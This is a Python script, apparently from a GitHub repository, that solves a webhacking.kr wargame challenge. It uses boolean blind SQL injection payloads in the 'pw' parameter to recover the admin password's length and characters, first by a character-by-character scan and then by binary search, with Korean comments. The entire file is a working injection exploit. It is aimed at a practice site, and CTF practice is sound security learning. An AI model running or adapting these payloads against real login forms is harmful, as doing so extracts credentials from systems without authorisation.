-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path21-blind-sql-injection.py
80 lines (70 loc) · 2.7 KB
/
21-blind-sql-injection.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pytest import param
import requests
url = "https://webhacking.kr/challenge/bonus-1/index.php"
TRUE_FLAG = 'wrong password'
params = {
'id' : 'admin',
'pw' : ''
}
def get_password_length():
for i in range(1,100):
payload = "' or length(pw) = {} and id='admin' -- ".format(str(i))
params['pw'] = payload
response = requests.get(url,params=params)
if('wrong password' in response.text):
print("find password length" + str(i))
return i
password_length = get_password_length()
#1. 단순 반복문을 통해서 비밀번호를 구한 경우
def get_password1(password_length):
count = 0
password = ''
for i in range(1,password_length+1):
for j in range(32,127):
payload = "' or id='admin' and ascii(substr(pw,{},1)) = {}-- ".format(i,j)
params['pw'] = payload
response = requests.get(url,params=params)
if(TRUE_FLAG in response.text):
password += chr(j)
print(password)
count +=1
print("총 쿼리문 동작 횟수 : "+ str(count))
return password
get_password1(password_length)
# 2. Binary Search 알고리즘을 이용해서 비밀번호를 구한 경우
def get_password2(password_length):
password = ''
count = 0
for i in range(1,password_length+1):
left,right = 32,127
while(1):
search = int((left + right)/2)
# print(search)
injection_string = "' or id='admin' and ascii(substr(pw,{},1)) < {}-- ".format(i,search)
params['pw'] = injection_string
response = requests.get(url,params=params)
# 위의 식이 틀렸다는 말이니까 search를 더 크게 만들어야 한다. left를 바꾼다
if('login fail' in response.text):
left = int((left + right)/2)
else:
right = int((left + right)/2)
if(left == right):
print(chr(left))
password += chr(left)
break
if(left == (right -1)):
injection_string = "' or id='admin' and ascii(substr(pw,{},1)) = {}-- ".format(i,left)
params['pw'] = injection_string
response = requests.get(url,params=params)
if('login fail' in response.text):
print(chr(right))
password +=chr(right)
break
else:
print(chr(left))
password +=chr(left)
break
count = count+1
print("총 쿼리문 동작 횟수 : "+ str(count))
return password
get_password2(password_length)